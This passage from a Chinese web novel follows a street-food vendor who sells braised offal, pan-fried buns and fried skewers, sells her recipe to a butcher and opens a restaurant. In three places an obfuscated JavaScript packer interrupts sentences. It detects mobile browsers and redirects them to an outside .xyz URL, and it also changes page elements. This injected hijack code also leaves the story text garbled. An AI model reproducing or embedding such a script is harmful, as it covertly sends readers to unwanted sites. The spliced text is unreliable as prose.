蓝锦不紧不慢地给金灿灿的灌饼刷上咸酱，一铲子装进竹节碗，送到口水直流的小秋手里。 小秋早已抓着筷子在手，不顾烫口，只吹了一吹，就往嘴里去送。 旁边已有小娘子等不及要问她：“小妹妹，好吃吗？” 岳素秋双颊鼓鼓，不等咽下，就要再来上一大口，根本来不及开腔。 “这还用问，孩童吃相最骗不了人，给我来两个这鸡蛋灌饼！” 一个身着短打的蓝头巾汉子挤上前来。 “好嘞”，蓝锦爽利地应了声，揪下两个面团手里团着，眼神向面前的瓶瓶罐罐示意。 “您要一个蛋还是两个蛋？加不加鸡柳，香肠，肉松，煎腊肉？喜欢甜酱，咸酱，还是辣酱？” 前排的小娘子不舍得挪地方：“我来一个两个蛋的灌饼，这些都加，要甜辣的。” 对上身边揶揄的眼神，理直气壮：“看什么，我给我阿爹带的。” 蓝头巾汉子要了辣酱加鸡蛋，拿到手就迫不及待地吃上了。 蛋饼外酥里软，咬上一口，暄软却还焦香。 饼不厚，竟还有分层，每层都薄透弹牙，亏她做得出来！ 对着阳光一看，层层缀着胡椒透着亮，极是诱人。 更别提均匀铺开的鸡蛋同样吃满了椒盐味，火候正好，咸鲜勾人，吃了一口，倒还想三口！ “再要四个鸡蛋灌饼，每个加一样小食，要甜咸的，我得带回去给媳妇闺女尝尝！” 蓝头巾汉子忙不迭地咽下最后一口，大气地排出四十八文钱，生怕别人抢光了似的。 不消吆喝，回头客就是最好的宣传。 蓝锦偷空把目光越过热情点单的人群一瞧，那个把料加出个大满贯的小娘子，她阿爹可能吃不着这饼啦！ 却还有机灵人绕着摊车上的两口大锅闻个不停。 “小娘子，这想是那酸辣汤和卤味了吧，快揭开盖子给我们瞧瞧呀。” 蓝锦手头这锅还没做上，只指挥小秋去各盛一碗吃着。 盖子一掀开，酸酸辣辣的香气扑面而来。 当即就有不少买了鸡蛋灌饼的人要一碗配着吃。 蓝锦笑盈盈地应了：“小郎君识货，我这酸辣汤可是吊了骨头汤的，配着吃连饼都更香呢。” 果然如此，圆圆的竹节碗深且大，这一碗里稠的不比稀的少。 溜着碗边一吸，滑溜溜的嫩豆腐、猪肝丝、山菇丝和木耳丝直往嘴里钻，还有几簇蛋花。 调味果真酸且辣，开胃下饭，浓浓的醋味和黑胡椒味逼得荤素细丝迸发出别样的鲜味。 因它辣得适宜，喝进胃里只觉得熨帖，并不烧心呛肺的。 有只买了猪油酥饼的小娘子，拿饼直接蘸着汤吃，也很是得宜呢，真个是丰俭由人。 这边却有刚从丰乐坊出来，打了几两落霞春，循香来买蓝记卤味下酒的客人，催着她快些侍弄卤猪下水。 蓝锦依言盛到案板上，“夺夺”地切成匀称的薄片。 称量了盛在竹节碗中，还浇上一勺热热的卤汁。 敞口的大锅咕嘟嘟地涌着浓香，像能惑人似的，诱人去往深庐秘境。 深深嗅上一口，未喝酒就把人给醉了。 那边抢包山锣鼓喧天地开始，这边的油锅也热热闹闹地一刻不得闲。 午饭之前就在小酒馆里闲坐喝酒、慢慢品味卤菜的人终是少数。 蓝锦半赶上朝食的时辰，半赶上观赛的人流，很快就卖完了鸡蛋灌饼。 连加的小食也一份不剩，她便开始专心推销卤味。 “走过路过都来尝尝呀，小娘子，尝尝不要钱。” 一个绿衫子的女娘被留住了，犹豫地接过蓝锦手中的签子—— 这可是猪下水，娘子家当街吃会不会不雅观？ 只是这味道实在香，和豕肉也没什么区别。 樱桃小口一张，薄切的卤猪心就下了肚。 鲜美弹糯，外韧里嫩，处理得很干净，没有一丁点不好的味道。 咸香伴着不知名的香料味，当浮一大白！ 悄然观察着女娘面上的神情，蓝锦有了数。 “小娘子，这卤肉不仅味美，兆头也好。” “吃了蓝记心肝肺，正嚼碎负心人的心肝肺，好叫小娘子绝对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090775|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会遇人不淑。” 如是美滋滋地推销出去一份，蓝锦又殷勤地递给一个慈眉善目地婶娘。 “这位姐姐，最是善心人，才正吃得我这卤心肝肺。” “常言道，吃蓝记卤心肝肺，观音座下善心人。” 又劝一个耳侧有血痕，被娘子骂了一通拂袖而去的蔫巴郎君。 “郎君，吃了我这蓝记心肝肺，最能多长几个心眼子，不叫你家娘子越过你去呀。” 蔫巴郎君嘟嘟囔囔道：“老板，你刚才可不是这般说，分明听见你讲，越吃这卤心肝，心肠越软下去了。” 蓝锦笑道：“那你得多买点给你娘子吃，好叫她心肠柔善，从此不再让你进不了门。” 也不知他是真信了还是没信，总归为这香味买了单，携在胸前，匆匆追上去求饶恕了。 瞧瞧日头过了晌午，宾客居民都往食店里去了。 蓝锦拿出两个温热的馍馍，把心肝腰肺切片往里一夹，盛了两碗酸辣汤，和小秋一人一份大快朵颐起来。 “真可惜，今天没带小狗，叫它也来瞧瞧这热闹，还能帮咱们看摊子呢。” 蓝锦坐在小马扎上，后悔身边没个小狗的陪伴。 “姐姐，你的小狗叫什么名字呀，为什么一直叫它小狗？” 小秋呼噜噜地吸溜着酸辣汤，嘶哈地吐着小舌头。 “它啊……嗯……就叫‘狗’！” 蓝锦摇头晃脑，直起身来，伸出一根手指，一锤定音。 正在这时，两人注意到对面一个青袍白裰的俊朗青年。 长身玉立，手持一把折扇，正往她们这边看，笑得颇有深意。 看那样子，盯了她们有一会功夫了。 蓝锦警惕得，头上的触角一下子竖起来了。 这是谁呀？花蝴蝶似的在那开屏。 脸上却仍是热情地笑：“对过的郎君，想吃点什么呀？这里有好卤味，好汤水……” “是不是吃了就能往观音座下作善心童子，结了善缘？” 花蝴蝶嘴角含笑，往小摊走来。 “正叫郎君说准了，不如各来上一份，尝尝看真不真？” 蓝锦对自己的卤味还是颇为自信的。 待你吃了好吃，被勾得心痒，哪还会管什么善不善缘，只恐怕她明儿再不卖了没处吃去！ “好。”花蝴蝶并不多话，直截了当地付了钱，“这汤也要一碗。” 蓝锦都端给他，重回去吃自己的午食。 偷眼去瞧这位奇怪客人，同样是路边摊，却见他吃得光风霁月，优雅悦目。 但眉头眼角的微动瞒不了人，他很爱吃，很享受的！ 嘿嘿，找不出茬了吧。 等到下晌，不管是冶游的宾客，还是附近的住户，都开始为肚腹奔走，卤味生意又重新红火起来。 酸辣汤又被支起火来烧得滚滚香，也很是走俏。 这时，一个膀大腰圆的虬髯大汉来到小摊，直接把剩下的卤猪下水全都包圆了，连卤汤都买走了。 不断还有人来问，蓝锦明日还来不来，还卖不卖这些。 蓝锦一一笑答：“还在此时，还在此处，认准我这‘蓝记’。” “卖的却是新的花样，只会比今天的美味，包的！” 8. 锅贴生煎包 鸡蛋灌饼的走俏，为蓝锦的小摊积攒了第一桶金。 练了这些时日，蓝锦对吃食生意愈发有心得。 不管是点单、排队、制作和结钱的流程，还是食材备料与运输，都更上得手来。 于是她大起胆子，打算做些所需前期准备更多的，却也更有风格的复杂点心—— 锅贴和生煎包。 蓝锦虽是借住庵堂，却也是四更天就爬起来借厨房。 早早地发好了面，揉得面团光滑且软，这样做出来的生煎皮才更松软细腻。 夏日发酵便宜，蓝锦放心地去搅打肉馅。 三成肥七成瘦的农家黑猪，是姜克松留给她的友情供货。 为了让成品含住满腹汤汁，专门备了肉皮冻丁。 鼓囊囊小气球似的生煎包刷上油，撒上芝麻搁着醒发。 薄薄的锅贴皮做的是烫面，醒发得快，蓝锦手似蝶飞，一个个地包好码齐。 试做了几份，晨起做早课的妙华，知道她出摊特意起来蹲着的妙清，都赞不绝口，说从未见过这样好点心。 收拾停当，进城赚钱！ “爆汁锅贴嘞~皮薄底儿脆~” “发面生煎包~肉香壳子酥~” “甜咸豆浆嘞~卤猪舌肚肠~” “这不是蓝老板吗，今天你来得倒早，又做了什么新鲜玩意儿？” 瞧，这已经吃出熟人来了。 蓝锦拿洁白的帕子一抹手，热情地招呼。 “小郎君，有你不曾尝过的好点心，生煎包配咸豆浆，锅贴配甜豆浆，怎么样？” “缘何这什么生煎包不能配甜，锅贴不能配咸？” 绯袍郎君满腹狐疑。 “生煎皮厚且酥，配咸很是解腻；锅贴皮薄脆，配甜很是提鲜。” “当然啦，小郎君若是想知道究竟，全都点来尝尝，各自配配，才是正经呢。” 两人熟识，你知我知，所以客人轻巧地“吃”了蓝老板的小套路把戏。 “哈，这么说我是得都尝尝，各来一份吧！” 锅贴果然如老板说的，褶着花边的皮子捏得薄，肚子却圆滚滚，馅儿大，实在！ 只把它用菜籽油热烫烫地一煎，薄薄一层脆壳金灿灿的，带了些焦褐色，煎得好光面。 白嫩的锅贴蘸上一点香醋，挂着棕色的汁，一口咬进嘴里，打进了高汤的肉馅便昂首阔步地进了场。 带着一点点咸鲜的肉汁子，满嘴松紧得宜、肉感十足的猪肉馅。 肥瘦相间，油香嫩滑。 一大口裹住一个，像月牙，却是拿天上的月亮来也不换！ 这边生煎也出锅，甫一揭开盖子，只见圆圆的大锅里密密地铺满了大小匀称的小包子。 上面撒满了黑芝麻和小葱花，香味霸道，缠着过路的每一个人不放。 香，酥，松，这底简直不像是煎的！ 用牙一碰便开，带着一丝若有若无的甜味。倒比炸油酥面果子还好吃！ 而那面香味十足的半发面包子皮，又松软吸味。 一口下去，一半酥，一半软，中间是大颗汁香四溢的美味肉馅。 声势浩大而来，却毫不腻口，实在是种别样的享受。 叫蓝锦自己来说，蘸了香醋，抑或咬开个小口，拿小勺子往里灌点醋，能一连吃八个不停口！ 绯袍郎君额外打包了二十份生煎包，二十份锅贴饺带走。 “老板，我倒爱这锅贴、生煎都配甜豆浆，你以后跟人这样推荐，就说这是城北青山书院郭公子的吃法！” “好的呢，郭公子常来，我这蓝记仰赖您的照料。” 蓝锦见钱眼开，笑得眼角飞月，梨涡含星。 锅贴生煎实在辛苦，好在只用做一天。 她的蓝记小摊日日改样子，食客照样买帐，被新鲜未知的菜单抓得心肝痒—— 全都是没吃过、没见过的花样，委实成了一种好广告。 今日小秋贪睡，并没有叫醒她，只是小狗跟了来。 才刚一直在竹篮里睡着，现下幽幽醒转。 蓝锦由着它在脚边盘旋歪缠，插空问它： “睡饱就想吃东西啦，你这小幸福鬼！” 把给它准备的白煮猪下水拿小碟子盛了，看着小白狗头这晃晃，那点点，呼哧呼哧地吃着。 蓝锦自己也盛出一碗甜豆浆，配着生煎包，坐在小马扎上填肚子。 每当这种时候，她就觉得会有点什么事发生。 有个爱穿蓝袍，爱拿折扇，爱开屏的陌生郎君——现在倒是混脸熟混得快不陌生了——总爱上前凑热闹。 好像在跟她比谁吃得更优雅似的！ 要不就是跟想偷她的狗似的！ 果然—— “小娘子，这包子也是你做的吗？” 蓝色花蝴蝶又来准时报到。 说来也怪，那绯袍郭公子、水绿衫子云小娘子，都是常来盘桓的。 可蓝锦直觉这蓝色花蝴蝶不一样，肚子里定揣着什么没说出来的坏水。 不看别的，单看他那气质—— 不像游手好闲的闲汉，不像贪吃逃学的学生。 甚至都不像本地那些大放情怀、拐着弯要打听自己家住何方的纨绔。 还常偷偷地在附近观察自家三个——她，小秋，和小狗。 腹诽归腹诽，蓝锦还是满面堆笑：“这位小郎君，你要吃点什么？” “有锅贴，生煎包，一口咬下去流汁子的。” “还有甜咸豆浆，配着喝正正好。” “这卤舌肚肠要不要尝尝，吃了专克小肚鸡肠，黑心烂肺，两舌恶口的！” 哈哈！ 花蝴蝶神色不改，从容地说：“既然都是小娘子做的，那就都各来一份。” 好好好，伸手不打送钱人，我倒要看看你究竟想干点什么。 有本事你天天来支持我生意！我看倒是谁得了便宜！ 蓝锦自己肚子也饱了，钱货两讫，也就把他丢在一边不管，继续揽客，做包做饺。 她在等一个大客户，或是清晨时分到，或是傍晚收摊时候来，回回都把她的卤货包圆的大客户。 今晨没有等到，蓝锦也不着恼，继续手脚飞快地补着刚刚卖完的锅贴和生煎包。 “蓝姐姐，娘亲去慈明寺，我刚好过来陪你做生意！” 霍旭云冷不丁冒出来，穿戴得格外齐整，牡丹花似的笑颜叫蓝锦忽地开怀了。 “那正正好，你不嫌我抓你壮丁，我才不嫌陪客多呢。” 蓝锦捏罢一个生煎褶，往笼布下面轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090776|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻一丢，起身去迎她。 “嘿嘿，只是这锅好点心，可得叫我尝第一口。” 霍旭云两手来攀蓝锦的右臂，像几个灵巧晃眼的臂钏，叮啷啷响个不停。 “我要是不叫你尝，叫这锅生烂在锅中，没人买去！” 蓝锦顺着她的话去逗她。 “这却是冷锅里冒热气，怎么可能的事！蓝姐姐还不知道吧？” “青山书院的书生们为你家的吃食打赌，有人为此输了一个月的朝食——请整个书院的学生吃！” 蓝锦“扑哧”一笑：“还有这种事呢？” 只怕这倒霉蛋，就是郭小公子吧？ 好生富裕，神仙打架，叫她这小鬼也难得沾光。 “旭云，你却为何不去学堂？”蓝锦疑问道。 “我娘正跟我说这事呢。村里需要的学堂还是启蒙为上，我早就不必听了。” “她本想叫我去青山书院，我可不喜欢那一句三咳，嗯嗯唉唉的老夫子。” “我和娘说了，叫她来城里开学堂，可不就正好了吗？鼓动了这好久，她才松一松口呢。” 霍旭云已经吃上了生煎，咬皮嘬汁，一口吞了，满嘴油光，俨然老手。 “哦？想来和慈明寺有些相干？” 蓝锦给她碗里补上新的锅贴，扭脸问道。 “正是呢，有位寄居在慈明寺的夫人，曾是我娘的幼学同窗。” “不过丧父无子罢了，正好一起办学堂。” “这光景该是一起和住持商量，租借或合用寺院在城中的房舍田产呢。” 霍旭云并不白吃她这点心，正正经经地帮蓝锦张罗起了生意。 收钱点帐眉目清晰，点单应对口齿伶俐，叫蓝锦好过意不去。 直说要给她分账，再酥烂烂地炖个一根柴禾就做得的猪头肉。 霍旭云浑不在意的样子，单对那猪头肉动了些心肠，却凑上前来跟蓝锦咬耳朵。 “姐姐，对过茶坊，门头靠里，那个总看你的郎君，你可识得？” 蓝锦把眼一瞟，不正是那蓝扇花蝴蝶嘛。 敢情在这区区小摊上“豪掷千金”还不够，真要把她商业秘方偷看去不成？ 蓝锦只道：“谁知道什么来路，日日来买，看着体体面面的。” “有时还要盘桓一下，以为他要跟你说什么东西呢，到最后又没上前！先随他去罢。” 两姐妹小仓鼠一样鼓起腮帮子八卦：“有些有钱人就是有许多怪癖！” 暮色渐迟，蓝锦终于等来了自己的大客户——那个膀大腰圆的虬髯客。 今次对方却有些羞窘，支支吾吾。 “额，嗯……小娘子，你手艺好，寻常要扔的杂碎，侍弄得这般……真是祖师爷赏饭吃，旁人求都求不来。” 终于眼一闭，心一横，图穷匕见—— “小娘子这卤肉方子可卖？我愿出高价！” 蓝锦细细问来，方知他是西街上的肉铺老板。 本卖生熟肉的，从顾客那打听得桥头有好卤味，胜过自家许多，匆匆地连汤带肉都买回家。 然自家的肉往汤里一煮，浑不是那个味道！ 还侥幸是汤不够老，接连买了多日。 灶头火不停，所费不赀，却只能仿得五六分像。 9. 油炸串卷饼 我这卤猪杂碎的门道，可不是轻易窥探得去的。 蓝锦心下好气又好笑，打量你是饭量大似牛的熟客，谁知却是千百计琢磨着我家秘方的同行。 也是没想到，有同行这样不惜工本。 买了一次还不够，还日日不落地来包圆，生怕自己不卖他卤汁似的。 说精明像精明似的，可却又透着一股子朴拙！ “对不住，对不住，我不是有意要抢小娘子的饭碗！” “若买方子不便，能不能打个商量。” “在我那肉铺里专辟出一角，你我合卖这卤味，还省去小娘子几番劳累。” 络腮胡极力堆笑，打了个千。 “小娘子放心，不是我夸口，我家肉铺是祖传生意，上下开了三辈，全城的生意都做得。” “您去街上打听打听，酒楼茶肆，贩夫走卒，没有不知柴家肉铺的！” “这卤肉在我家售卖，保管更红火。”边说还边拍拍胸脯，一脸诚恳。 这话却讲到蓝锦心坎里了。 现下手里有花糕生意要做，日日摆摊，不管是日头高照，还是刮风骤雨，她都不曾停歇。 起早贪黑，借星光备料，鸡鸣即动身。 这小摊还没片瓦遮头，即便所赚丰厚，人也着实辛苦。 只是合卖也没法全然撒开手去，又多添一种活计。 “柴郎君是吧？好叫柴郎君知晓，我这卤肉方子样样精细。” “汤头分头道二道三道，连原料侍弄都分东样西样南北样。” “桩桩件件都有讲究，哪是买了卤汤去就能学成的？” 蓝锦面上笑着，口气却绵中有骨，并不退让半分。 柴络腮胡饶是面皮再厚，此刻却也涨得花鹦哥似的。 “本就是我的不是，我的不是，给小娘子赔罪了……” 不能不低头，这方子实在好吃，全家都折服。 更何况，这些时日，自家的熟食生意门可罗雀，连带着生肉铺头都不如以往景气了。 “合卖就不必了。只是不知柴郎君能拿出多少诚意了？” 蓝锦笑得狡黠，叫霍旭云看来，颇有点老奸巨猾。 “有有有，绝对有诚意，小娘子您开口，只要您愿意张口，多少我都是乐意的。” 柴屠户眉梢一动，满脸喜色。 “那好，这卤肉方子我开价二十两，你自家去商量，若是愿意，再来细说。” 蓝锦也不客气，谁叫他先兵后礼呢？ 一旁的霍旭云倒是吃了一惊。 原来这小小的食方，竟能叫出这样的高价，倒是多少人家许久的嚼用了！ 柴屠户初始还喜，渐渐有些不多不少的踟蹰： “小娘子爽快人，我本不应该犹豫。” “只是这银钱比我出门时和娘子讲得多了些，我做不了主，这就回去知会一声。” “小娘子可一定要等着我柴新，万别卖了旁人！” 真是有种实诚的精明！ 不说些叫她生气的压价的话，也不为了面子瞒着自己的境况，却又聪明地一定要把握住她这好方子。 那是，她这卤肉方子，可是曾经历过天南海北各方食客的考验改良。 若能买成，可省得逐个地去生药铺子买香料。 费柴禾，费心血，费好肉，费工序，白花花的银钱投入去试。 不待蓝锦回答，柴新便把自己拎来赔礼的二斤金钱腱托给两手空空的霍旭云接着，扭身就往西跑远了。 蓝锦心里笃定这事能成，不见恼怒，心中松快地哼着小调，去铲新出炉的锅贴饺。 “蓝姐姐，你真厉害，就只比我大一岁，却跟那些大人行事一样，举止好有章法呢。” “我阿娘就喜欢你这样的人，她虽不说，可我就是知道，她心里欢喜我也能这样。” 霍旭云伸手去偷拈锅贴，不出意外被烫得跳脚。 “娘亲周到，你把脑子一抛只管做女儿，想长成什么样就成什么样，哪用得着什么劳什子章法呢。” 蓝锦往她手里塞筷子，一捏她耳侧的小揪揪。 “谁知道我阿娘是不是总想让你也做她女儿呢！” “若是你比我小，我直接就同意，好叫你整天绕着我喊，‘霍姐姐’，‘霍姐姐’！” 霍旭云屈身，拿脸去对蓝锦俯首看锅的面孔，手指一戳她的小梨涡。 蓝锦笑骂：“不害臊！叫小秋喊你姐姐都冤枉！” 两人笑闹，渐渐驱散久站的疲惫。 还得是有个自己的小铺才是正经啊！ 柴新小郎君果然是个守信的，这才过去多久，便急匆匆地揣着东西赶来了。 想是全家几代人本就乌泱泱地在那翘首盼着他的回音。 故而半只脚刚踏进家门，便商议起这事来了！ 柴新一五一十地复述，柴家竟是满口应下了这二十两。 买卤汤原是柴新一人的主意，他对自己的熟食铺头本有几分得意。 没听闻从前只有柴家生肉铺的名头，直到他手里，方才把熟肉也做出名堂！ 从前人家懒怠碰灶头，没有不来他这买上几两现成熟货的。 这桩生意，连大酒楼的冷盘也轻易抢不走。 故而他遇上蓝锦这个高手，第一反应就是过两招：我看看倒是什么花架子！ 很可惜，他勘不破人家这卤汤。 今日叫他爷爷知道，自家子侄辈用这等歪心思侍弄生意。 一拐杖杵过来，直叫柴新当着新妇的面，差点脸皮子和门牙俱溜之大吉。 “蓝小娘子，你还有什么要求，只管写上。” 柴郎君嘿嘿陪笑，殷勤地奉上纸笔。 蓝锦忖度着，这柴家倒还可交。 当下不说二话，条分缕析地讲明了自己的想法。 “这方子不可转卖他人，教会你我就不做了。” “我做卤味，本就为着以后开食店，故而你卖它的头一个月，要挂上我这‘蓝记’的签子。” “每样做法，我都手把手教你一遍，当月内有什么不解的，尽管来蓝记寻我。” “此后我可就撂开手了。这一月之后，签子可以撤了，方子也任君改良。” 柴新无有不应，当下二人定了契。 蓝锦写下方子，林林总总，连白芷、丁香的成色偏好都记得分明。 柴新除了拿出二十两买方子钱，又附上二两银。 解释说这是自家长辈深觉冒犯蓝老板的赔礼，好说歹说劝她一定收下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090777|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝锦终究收了，复又庆幸自己这美味的卤肉方子没有所托非人。 卖方子的钱攥在手里，蓝锦彷佛已经能看到有家小饭馆向自己招手。 寻牙人，看房舍，买桌椅，制菜牌，订生鲜，教卤肉。 还不忘再去摆上几个时辰的蓝记小摊，勾着人们不至于忘了自家手艺，时时放着开店的风声。 蓝锦忙得好似陀螺，下巴瘦成个倒尖。 小秋和小狗也围来转去，累得每夜一沾枕就打起轻轻的小呼噜。 如此忙了小半个月，一家人终是熬出头来。 “蓝记饮食店”的开张日子就定在明天！ 蓝锦打算做个回馈新老食客的酬宾大活动，为小店的开张造造声势。 仰赖这些时日的新鲜伙食，全娘娘庙的女尼都起身支援蓝锦的新花样——炸串！ 蓝锦把处理停当的菜蔬鱼肉带过来，所有人戴着纱布覆住口鼻。 一字排开，各司其职，开始串串！ 包菜，豆角，韭菜，茄子，香蕉，藕片，蘑菇。 年糕，面筋，豆筋，豆腐皮，玉米，土豆片，有的还薄薄裹了一层调过味的面糊。 腊肠，鸡里脊，小河虾，牛肉粒，鹌鹑蛋，羊肉搭羊油。 还有塞了虾肉糜的鸡子卵，酿了葱花猪肉馅的青椒，只待炸成有金黄褶皱的虎皮状。 更别提那裹了香菜的牛肉片，裹了金针菇的豆皮，还有裹了山野菜的腊肉片。 对，还有那馒头片。 蓝记炸串的油也要特制。 蓝锦腾出手来，把那肥嘟嘟、黄灿灿的走地鸡肥膘熬成鸡油，辅以一小块羊肥油。 再掺进浓香洁白的猪油，滤得澄净透亮。 加入多多的红葱头，香菜，生姜，小葱，和精心选配的香料。 小火炸得满屋飘香，直至锅内种种都焦黄干透成渣。 这样做的香料油，炸桥头的垂杨柳都能啃掉三排吧！ 此外再去做蓝记秘制酱，一种搁了桃酥、花生和芝麻的干料，咸香里带着些微麻微辣。 一种搁了香料粉，泼了羊油的红油辣子。 一种偏甜口的咸鲜酱，因勾了芡而浓浓的，极易挂汁。 还没忘去照料先前发起来的面团，烙成一张张薄而韧，回口有劲道的卷饼皮。 如是装了满满一车，还未等蓝锦将炉灶搬下来，酱汁和香料油的风味就吸引来一大帮走街串巷的孩童。 “老板快开张，快开张！我饿啦，快饿晕过去啦！” 直到热油锅架起，五花八门的串串“哗啦啦”地往里一搁，人群更是激动。 “好香啊！”“天上娘娘开宴了！” 小秋叉腰站在小板凳上，严肃地维持秩序：“不要挤，不要挤，挤的人吃不着！” 蓝锦手中一边顾着油锅火候，一边大声地说道。 “小摊最后一天营业，全部半价啊。” “明日蓝记饮食店开张，就在淳熙坊大柳树旁第一家！” “物美价廉，第一天半价，列位都来尝尝啊。” 爱着绿罗衫的云小娘子正蹲着蓝锦出摊，才不顾什么大人的架子颜面，一径钻到最前面。 “我去我去，蓝小娘子，这第一份卷饼算我的吧！” 10. 蜂巢山菇酥 因着老顾客的缘故，到底叫云小娘子如了愿。 炸串卷饼捧在手里热乎乎的，烫得云江望不停地左手倒右手。 偏她还从怀里扯出块帕子裹了，顽强地张嘴去咬。 嗯！她最爱这里面的炸包菜。 沾满了咸甜酱汁，一口咬下去脆生生的。汁水四溢，酥香十足。 每一种肉都有自己独特的腌料，外酥里嫩。 要是不赶紧放进嘴里，肉汁子就该流到手上了！ 云江望大口咬着这炸串卷饼，满心满眼都是幸福，只想再来一个。 却说西街这边，柴家果真新辟了一个小铺头，系着蓝布旗子，上书两个大字，“蓝记”。 桌案上整整齐齐摆了几大锅热腾腾、香喷喷的卤肉。 有块大肉嫩的猪舌头，笑得憨态可掬的赤红色猪头肉，还有卤猪肝、猪心、猪蹄膀、猪肠…… 柴新换了一身崭新的短打，站在卤香氤氲的熟食摊前，大声吆喝。 “瞧一瞧看一看嘞，正宗蓝记卤肉，桥头蓝小娘子祖传秘方~” 他听从蓝锦的建议，头几天每样安排几小块肉，切成一口大小，供人试吃。 待人群认出这就是蓝锦卖的那个味道，吃过的，没吃过的一拥而上。 柴新笑迎八方客，不忘兑现给蓝锦的承诺。 “以后卤肉只管来我这买了，蓝小娘子要开食店了，就在淳熙坊大柳树旁，您认准了蓝记！” 如是多番宣传，日头未落的时候，几乎满县城的大街小巷都有人知道。 淳熙坊要开一家新食店了，听说，还有什么开业酬宾！ 去得早了，以后都是她家老粉丝，保管当座上宾对待的。 这还不得去瞧瞧新鲜，凑凑热闹。 同样听见这个消息的，还有天香楼萧掌柜萧曼娘。 作为城里最大的酒楼东家，萧曼娘一早就听说了这蓝记。 自抢包山那日起，桥头就异军突起似地冒出一个吃食生意奇才。 花样层出不穷不说，连口味也是吃过的都说好。 一开始，萧曼娘并没有放在心上。 不过是市井小民的小打小闹，上不得台面的小吃摊子，成不了什么气候。 仰赖天都萧国公府远亲的身份，萧曼娘一贯在贩蔬卖肉的商行那里颇有几分面子。 在生意场上更是说一不二，连县太爷那里也能说上话。 虽然这亲认真论起来不过是旁支又旁支，颇有些一表三千里。 但她不说，谁又能知？ 顶着这萧字，舒服做个地头蛇，可从来没人碍过她的眼。 可是眼见这一穷二白的乡下孤女越做越红火，如今竟盘起铺子来了。 萧曼娘只觉着纤似葱白的手指上冒出来一根倒刺。 虽无伤大雅，待在那里，心中总有点不得劲，不想任她在那好好长着。 不过小小玩意儿，任她动动手指，可就活不下去了。 到了第二天，朗空白云，日丽风清。 蓝锦和岳素秋早早地赶来自家小店，挂上特意去木匠铺订做的匾额：“蓝记饮食店”。 像中了状元似的，给这匾额戴上了大红绸花。 霍旭云赶在早课前跑来，斜挎着布书包，送上一大盘鞭炮，“劈里啪啦”地给蓝锦壮声势。 如是吸引来了更多人围观，饶有兴致地探看着。 小店门脸两旁是向外支开的两扇大窗，桃花心木的窗格糊上雪白的窗纸，又雅致又亮堂。 过路的行人从外面就能看到小店的内景。 方方正正的六张小桌，内间做菜的灶头开了小窗，一眼就能看见。 墙角放着小几，其上的花缸里养着粉白的荷花。 堂外的微风一吹，真个“一一风荷举”，给燥闷的夏日增添一丝清凉。 也不知怎么想起来的，墙上拿些长长短短的麻绳拼起来。 挂在木棍上，组成一副亭亭摇曳的挂画，很有些村居隐士的韵味。 柜台的墙后整齐地挂了几排朱红色的菜牌，各个明码标价。 这样的小店即便不坐下吃饭，打眼一看那一尘不染、宁静悠游的样子，也像人离沙漠乍饮甘露一般舒心。 蓝锦系着个小围裙，走到门口招揽客人： “诸位父老乡亲，今日小店开业，有自家新酿的玫瑰露赠送。” “所有菜都只用付一半的价钱，先到先得呀~” 大家正要一哄而上，人群里突然窜出来几个声音。 “列位，村野小店有什么吃头？” “今天天香楼可是大摆百花流水宴，只要花十文钱，大酒楼的菜色吃一天。” “龙肝凤髓的，谁不去谁傻子啊！” 蓝锦和小秋还没回过神来，就被正涌入店里又折返的人群裹挟得团团转。 除却蓝锦手艺的忠实拥趸云小娘子云江望——她原是把天香楼吃个厌烦的——其他人都一溜烟跑走了。 偶尔几个犹豫的，看了蓝记饮食店的菜牌——自然是没有龙肝凤髓，也摇摇头，转身离去了。 有好心的回头客还跟蓝锦说：“蓝老板，对不住，我改日再来光顾哈。” 故而当萧仁禹踏入新开张的蓝记时，见到的就只有酷爱饼卷一切的云小娘子云江望，和青山书院郭小公子郭崇善。 和几个面前只有一个面碗，匆匆吃了就走的食客。 后面那几个也不算数，只是因十文钱都出不起，所以只能在蓝记这里简单地点一份葱油拌面。 便宜，还香得狠！蓝小娘子还给加面！ 郭小公子严格来说也不算来捧开张场子的老餮。 毕竟嘛，他输了一个月的朝食，蓝记小摊没了，就算追去蓝记小店也得兑现呀。 小秋垂头丧气，坐在那里，对着她和小狗一起挑的桌子，低头抠花纹。 蓝锦一揉她蔫搭搭的发髻。 云江望从面前的盘盘碗碗中抬起头来，大声道： “这都是那萧家不做人，早不摆晚不摆，偏要在人家的好日子摆什么劳什子百花宴。” “她家那厨子的手艺，老掉牙的老三样，糖油酱醋放得恁多，生吃得人舌头要麻了，渴得能吞下一条河！” “只是日子赶得不巧罢了，蓝小娘子放心，今天一过，蓝记饮食店保管还是客似云来！” 